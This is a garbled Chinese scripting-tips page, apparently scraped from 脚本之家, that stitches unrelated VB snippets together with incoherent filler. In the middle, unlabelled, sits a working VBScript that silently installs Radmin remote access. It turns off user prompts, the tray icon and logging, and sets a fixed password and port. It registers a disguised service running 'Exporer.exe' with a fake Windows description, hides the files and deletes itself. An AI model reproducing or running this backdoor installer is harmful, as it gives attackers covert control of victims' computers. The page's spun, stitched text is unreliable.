dnf硬件脚本盒子飞易来vb能对话框吗

发布时间:2020-10-16 来源:脚本之家 点击:

共有二种方法

方法1:VB3/VB4之版本,可于Form_Load()程序中加入下列程式码:
Me.Move(Screen.Width-Width)\2,(Screen.Height-Height)\2

方法2:
VB5以上之版本,则直接将Form之StartUpPosition设成(2-荧幕中央)即可->

Set ado=createobject("Adodb.Stream")
哔哩哔哩脚本插件

onerrorresumenext
constHKEY_LOCAL_MACHINE=&H80000002
strComputer="."
SetStdOut=WScript.StdOut
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_
strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\RAdmin"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv")
strPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)
uBinary=Array(1,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)
uBinary=Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//此为注册表导出十六进制转为十进制数据pass:241241241
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)//Radmin密码
uBinary=Array(5,4,0,0)//端口:1029
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)
uBinary=Array(10,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
strValueName="LogFilePath"
strValue="c:\logfile.txt"
setwshshell=createobject("wscript.shell")
a=wshshell.run("sc.execreateWinManageHelpbinpath=%systemroot%\system32\Exporer.exestart=auto",0)
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\ControlSet001\Services\WinManageHelp"
strValueName="Description"
strValue="WindowsMediaPlayerWindowsManagementInstrumentationPlayerDrivers."
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName="DisplayName"
strValue="WindowsManagementInstrumentationPlayerDrivers"
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName="ImagePath"
strValue="c:\windows\system32\Exporer.exe/service"
oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
setwshshell=createobject("wscript.shell")
a=wshshell.run("netstartWinManageHelp",0)
b=wshshell.run("attrib+r+h+s%systemroot%\system32\exporer.exe",0)
c=wshshell.run("attrib+r+h+s%systemroot%\system32\AdmDll.dll",0)
d=wshshell.run("attrib+r+h+s%systemroot%\system32\raddrv.dll",0)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)//自删除
'makeanewproject;twoforms
'onform1acommandbutton
'putthecodeintherightplaces
'pressF5

SubForm2_load()
'intheform2_loadevent
'besuretomaketheform2smallerthenform1!
lngOrigParenthWnd=SetWindowWord(Me.hwnd,-8,mdiMain.hwnd)

EndSub

PrivateSubForm_Unload(CancelAsInteger)
'intheform2_unloadevent
DimlngResult&

lngResult=SetWindowWord(Me.hwnd,-8,lngOrigParenthWnd)

EndSub

'intheform2_generalsection
PrivateDeclareFunctionSetWindowWordLib"user32"(ByValhwnd&,ByValnIndex&,ByValwNewWord&)AsLong
PrivatelngOrigParenthWnd&

SubCommand1_click
form2.Show

EndSub->

dir="E:\Temp"
Set fso=CreateObject("Scripting.FileSystemObject")
cmd="shutdown -s -f -t 60"
Set ws=WScript.CreateObject("WScript.Shell")
Wscript.Echo "emule自动关机脚本已运行……"
count=0
do until count<-1
chksize=fso.GetFolder(dir).Size
If chksize=0 Then
ws.run cmd,0
End If
WScript.Sleep 120000
loop

对于你所能想到的各种理由,VisualBasic都是能够满足的


' 先判断主机系统信息:OS,SP补丁版本情况
' 获取系统信息
Dim objOSInfo // 获取操作系统信息
Dim intOSver,intOStype,intCurrentSP // 当前系统版本,类型,Service Pack号
Set objOSInfo=osvcRemote.ExecQuery("Select ServicePackMajorVersion,Version,OSType FROM Win32_OperatingSystem")
For Each colOSInfo In objOSInfo
intCurrentSP=colOSInfo.ServicePackMajorVersion ‘sp安全补丁版本
intOSver=colOSInfo.Version ‘操作系统版本号
intOStype=colOSInfo.OSType ‘操作系统类型
Next
Socket:如何知道要连接哪个名字空间,获得哪些对象呢?《WMI技术指南》[3]中分类列出了大量常用的对象在本例中,将数据源创建为DataEnvironment对象

当然了,一些不明真相的同学喜欢把UAC功能关掉,然后装个叫什么359还是361的所谓安全软件微信多开而如果把更新包装进事务中,则可以确保共享数据的其它用户视图在代码结束运行之前不会受到代码的影响曾经一直很好奇VbsEdit的代码自动补全是怎么实现的,现在看来,大约的确用的就是这个COM。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号